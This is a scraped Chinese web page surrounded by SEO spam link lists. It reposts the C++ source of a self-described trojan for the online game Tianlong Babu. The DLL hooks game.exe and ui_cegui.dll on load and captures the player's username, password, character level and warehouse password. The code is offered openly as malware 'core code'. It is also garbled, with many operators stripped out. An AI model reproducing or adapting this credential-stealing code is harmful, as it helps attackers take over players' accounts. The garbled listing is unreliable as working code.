当前位置: 首页 > news >正文

深圳网站开发兼职卢松松外链工具

深圳网站开发兼职,卢松松外链工具,wordpress站所有分类不显示,月流量10g的网站天龙八部***核心代码 信息来源#xff1a;邪恶八进制信息安全团队#xff08;www.eviloctal.com#xff09; 文章作者#xff1a;认真的雪 我也来凑凑热闹..... 发一个网游***核心代码...无聊的时候写的.. 截取了用户名#xff0c;密码#xff0c;等级#xff0c;仓库密… 天龙八部***核心代码 信息来源邪恶八进制信息安全团队www.eviloctal.com 文章作者认真的雪 我也来凑凑热闹..... 发一个网游***核心代码...无聊的时候写的.. 截取了用户名密码等级仓库密码 代码: #include windows.h BYTE userCode[7]{0x8B,0x45,0x0C,0x50,0x8D,0x4B,0x5C}; BYTE userJmpCode[6]{0xe9,0x00,0x00,0x00,0x00,0x90}; BYTE gradeCode[6]{0x89,0x9F,0xFC,0x00,0x00,0x00}; BYTE gradeJmpCode[6]{0xe9,0x00,0x00,0x00,0x00,0x90}; BYTE storeCode[9]{0x8B,0x4E,0x04,0x33,0xC5,0x57,0x8B,0x7D,0x08}; BYTE oldStoreCode[6]{0}; BYTE storeJmpCode[6]{0xe9,0x00,0x00,0x00,0x00,0x90}; DWORD ui_cegui; void  *lpUserRetNULL; void  *lpGradeRetNULL; void  *lpStoreRetNULL;   char user[40]; char pass[40]; char storePassWord[40]; DWORD dwGrade; DWORD stroePath0; void _stdcall StroeUnhook(); void _stdcall HookStroe(); DWORD CmpFlag(BYTE *flag,char *moduleName,int len,void **lpRet , DWORD *lpModule) {         BYTE *buffNULL;                HMODULE hModule::GetModuleHandle(moduleName);         if(hModuleNULL)         {                 ::MessageBox(NULL,获取模块错误,failed,0);                 return 0;         }         DWORD p_w_picpathSize*(DWORD*)(*(DWORD*)((DWORD)hModule0x3c)(DWORD)hModule0x50);         void *newModuleVirtualAlloc( NULL, p_w_picpathSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);         *lpModule(DWORD)newModule;         memcpy(newModule,(void*)hModule,p_w_picpathSize);         for(DWORD i0;ip_w_picpathSize;i)         {                 buff(BYTE*)((DWORD)newModulei);                 if(memcmp(buff,flag,len)0)                 {                         *lpRet(void*)buff;                         return i(DWORD)hModule;                                         }         }         return 0; } DWORD GetRealFlag(BYTE *flag,char *moduleName,int len,void **lpRet,DWORD newModule) {         BYTE *buffNULL;         HMODULE hModule::GetModuleHandle(moduleName);         if(hModuleNULL)         {                 ::MessageBox(NULL,获取模块错误,failed,0);                 return 0;         }          DWORD p_w_picpathSize*(DWORD*)(*(DWORD*)((DWORD)hModule0x3c)(DWORD)hModule0x50);         for(DWORD i0;ip_w_picpathSize;i)         {                 buff(BYTE*)(newModulei);                 if(memcmp(buff,flag,len)0)                 {                                         *lpRet(void*)buff;                         return i(DWORD)hModule;                                         }         }         return 0;   } void _stdcall GetUserBuff(char *userName,char *passWord) {         strcpy(user,userName);         strcpy(pass,passWord);                 return;         }   __declspec(naked)void GetUserAndPass() {         _asm         {                 push eax;                 mov eax,dword ptr ss:[ebp0xC];                 push eax;                 push ecx;                 call GetUserBuff;                 call StroeUnhook;                 pop eax;             jmp [lpUserRet];         } } void _stdcall GetGradeDword(DWORD grade) {         dwGradegrade;         return; } __declspec(naked)void GetGrade() {         _asm         {                 pushad;                 push ebx;                 call GetGradeDword;                 call HookStroe;                 popad;             jmp [lpGradeRet];         } }   void _stdcall StroeUnhook() {         if(stroePath0)                 return;         MEMORY_BASIC_INFORMATION mbi;         VirtualProtect((void*)stroePath,7,PAGE_READWRITE,(DWORD*)mbi);         memcpy((void*)stroePath,oldStoreCode,6);          VirtualProtect((void*)stroePath,7,mbi.Protect,0);         return;  } void _stdcall GetStoreBuff(char *storePass) {         strcpy(storePassWord,storePass);         char data[256];         wsprintf(data,用户名%s\n密码%s\n等级%d\n仓库密码%s\n,user,pass,dwGrade,storePassWord);         ::MessageBox(NULL,data,ok,0); } __declspec(naked)void GetStore() {         _asm         {                 pushad;                 push ecx;                 call GetStoreBuff;                 call StroeUnhook;                 popad;                 jmp [lpStoreRet];                 } }    void _stdcall HookStroe() {          stroePathGetRealFlag(storeCode,ui_cegui.dll,9,lpStoreRet,ui_cegui);         if(stroePath0)                 return ;         stroePathstroePath0x43;         lpStoreRet(void*)((DWORD)lpStoreRet0x43);         DWORD jmpAddress(DWORD)GetStore-(stroePath5);          *(DWORD*)(storeJmpCode[1])jmpAddress;         memcpy(oldStoreCode,(BYTE*)stroePath,6);         MEMORY_BASIC_INFORMATION mbi;         VirtualProtect((void*)stroePath,7,PAGE_READWRITE,(DWORD*)mbi);         memcpy((void*)stroePath,storeJmpCode,6);          VirtualProtect((void*)stroePath,7,mbi.Protect,0);         return; } void HookGrade() {             DWORD passPathCmpFlag(gradeCode,ui_cegui.dll,6,lpGradeRet,ui_cegui);         if(passPath0)                 return ;         DWORD jmpAddress(DWORD)GetGrade-(passPath5);         *(DWORD*)(gradeJmpCode[1])jmpAddress;         MEMORY_BASIC_INFORMATION mbi;         VirtualProtect((void*)passPath,7,PAGE_READWRITE,(DWORD*)mbi);         memcpy((void*)passPath,gradeJmpCode,6);          VirtualProtect((void*)passPath,7,mbi.Protect,0);   } void HookUserAndPass() {         DWORD hModule;         DWORD passPathCmpFlag(userCode,game.exe,7,lpUserRet,hModule);         if(passPath0)                 return ;         DWORD jmpAddress(DWORD)GetUserAndPass-(passPath5);         *(DWORD*)(userJmpCode[1])jmpAddress;         MEMORY_BASIC_INFORMATION mbi;         VirtualProtect((void*)passPath,7,PAGE_READWRITE,(DWORD*)mbi);         memcpy((void*)passPath,userJmpCode,6);          VirtualProtect((void*)passPath,7,mbi.Protect,0); } DWORD WINAPI Thread(LPVOID lpParam) {         HookUserAndPass();         HookGrade();         return 0; } BOOL APIENTRY DllMain( HANDLE hModule,                        DWORD  ul_reason_for_call,                        LPVOID lpReserved                                          ) {                 switch(ul_reason_for_call)         {         case DLL_PROCESS_ATTACH:                 {                         DWORD ThreadId;                         CreateThread(NULL,NULL,Thread,NULL,NULL,ThreadId);                         break;                 }                 default:break;         }             return TRUE; } 转载于:https://blog.51cto.com/4225964/780138
http://www.yutouwan.com/news/120692/

相关文章:

  • 平台网站建设合同网站代运营要多少费用
  • 做任务网站有哪些内容自己做软件
  • 为什么网站用静态页面快站app制作教程
  • 织梦响应式茶叶网站济南网站制作专业
  • 福鼎市建设局网站淘宝网站c 设计怎么做的
  • 网站一年维护费用网址建设
  • 网站接口设置郑州做网站的专业公司
  • 网站的主要栏目及功能长春朝阳学校网站建设
  • 泰州做网站价格app应用程序开发公司
  • 手机微网站怎么制作的笑话 wordpress主题
  • 郑州网站建设及托管wordpress安卓手机版
  • 长沙网站制作哪家强服务器安全防护
  • 莆田网站设计遵义市住房和城乡建设局官方网站
  • 个人网站怎么设计网站ssl证书怎么做
  • 温州网站建设及推广无忧网站建设价格
  • 网站遇到攻击时应该怎么做wordpress下载页源码
  • 西安微商城网站建设淘宝网站做多久
  • 杭州做网站建设公司遂宁公司做网站
  • 网站开发语言啥意思企业网站买卖建设流程
  • 做新网站推广的活动说明网站建设与网站运营的区别
  • 广州网站建设 讯度网络花生壳 做网站
  • 资讯网站建设流程免费代理
  • logo设计网站国外如何在阿里巴巴上做网站
  • 在线免费网站模板苏州汇聚人电子科技有限公司
  • 做网站用html好还是vue好开办时 网站建设费 科目
  • 长沙岳麓区网站建设如何确认建设银行网站不是假的
  • 查网站备案黄冈网站优化公司哪家好
  • 个人网站建设方案书 学生注册网站好的平台
  • 上海建设企业网站企业所得税会计分录怎么做
  • 全国知名网站排名网站建设设计企业